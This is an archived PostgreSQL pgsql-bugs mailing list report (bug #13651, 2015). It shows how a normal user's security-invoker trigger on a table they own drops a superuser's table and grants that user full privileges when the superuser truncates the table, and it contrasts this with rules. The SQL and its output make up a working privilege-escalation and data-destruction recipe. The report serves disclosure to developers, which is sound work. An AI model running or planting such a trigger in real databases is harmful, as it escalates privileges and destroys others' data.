Received: from malur.postgresql.org ([217.196.149.56]) by arkaria.postgresql.org with esmtp (Exim 4.80) (envelope-from ) id 1Zgwcm-0002a9-IT for pgsql-bugs@arkaria.postgresql.org; Tue, 29 Sep 2015 15:15:24 +0000 Received: from localhost ([127.0.0.1] helo=postgresql.org) by malur.postgresql.org with smtp (Exim 4.84) (envelope-from ) id 1Zgwcm-0007Ps-3x for pgsql-bugs@arkaria.postgresql.org; Tue, 29 Sep 2015 15:15:24 +0000 Received: from magus.postgresql.org ([2a02:c0:301:0:ffff::29]) by malur.postgresql.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_CBC_SHA384:256) (Exim 4.84) (envelope-from ) id 1ZgtXx-0007f2-Rl for pgsql-bugs@postgresql.org; Tue, 29 Sep 2015 11:58:13 +0000 Received: from wrigleys.postgresql.org ([204.145.124.246]) by magus.postgresql.org with esmtp (Exim 4.84) (envelope-from ) id 1ZgtXp-0005w3-Kj for pgsql-bugs@postgresql.org; Tue, 29 Sep 2015 11:58:11 +0000 MIME-Version: 1.0 Subject: BUG #13651: trigger security invoker attack To: pgsql-bugs@postgresql.org From: digoal@126.com Date: Tue, 29 Sep 2015 11:57:37 +0000 Message-ID: <20150929115737.1448.91255@wrigleys.postgresql.org> X-Pg-Spam-Score: -1.9 (-) Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset="utf-8" List-Archive: List-Help: List-ID: List-Owner: List-Post: List-Subscribe: List-Unsubscribe: X-Mailing-List: pgsql-bugs Precedence: bulk Sender: pgsql-bugs-owner@postgresql.org The following bug has been logged on the website: Bug reference: 13651 Logged by: digoal Email address: digoal@126.com PostgreSQL version: 9.4.4 Operating system: CentOS 6.x x64 Description: In my database, there have two role, one normal user, one superuser. postgres=# \dt List of relations Schema | Name | Type | Owner --------+------------------+-------+---------- public | customer_reviews | table | postgres public | t | table | digoal public | t1 | table | postgres public | t2 | table | postgres public | t3 | table | postgres I can use normal user create a table , and then create a trigger , in trigger I drop superuser's table and grant all privilege to normal user. postgres=# \c postgres digoal You are now connected to database "postgres" as user "digoal". postgres=> create table temp_table (id int); CREATE TABLE postgres=> create or replace function tg1() returns trigger as $$ declare begin drop table t1 cascade; grant all on table t2 to digoal; return null; end; $$ language plpgsql security invoker; CREATE FUNCTION postgres=> create trigger tg2 before truncate on temp_table for each statement execute procedure tg1(); CREATE TRIGGER when a superuser truncate the temp table, the trigger will execute,and drop superuser's table t1, and grant t2. postgres=> \c postgres postgres You are now connected to database "postgres" as user "postgres". postgres=# truncate temp_table ; NOTICE: 00000: drop cascades to rule r1 on table t CONTEXT: SQL statement "drop table t1 cascade" PL/pgSQL function tg1() line 4 at SQL statement LOCATION: reportDependentObjects, dependency.c:996 TRUNCATE TABLE postgres=# \dp+ t2 Access privileges Schema | Name | Type | Access privileges | Column access privileges --------+------+-------+---------------------------+-------------------------- public | t2 | table | postgres=arwdDxt/postgres+| | | | digoal=arwdDxt/postgres | (1 row) And rule is security. postgres=# \c postgres digoal You are now connected to database "postgres" as user "digoal". postgres=> create rule r1 as on delete to t do instead delete from t1; CREATE RULE postgres=> delete from t; ERROR: permission denied for relation t1 postgres=> \c postgres postgres You are now connected to database "postgres" as user "postgres". postgres=# \set VERBOSITY verbose postgres=# delete from t; ERROR: 42501: permission denied for relation t1 LOCATION: aclcheck_error, aclchk.c:3371 -- Sent via pgsql-bugs mailing list (pgsql-bugs@postgresql.org) To make changes to your subscription: http://www.postgresql.org/mailpref/pgsql-bugs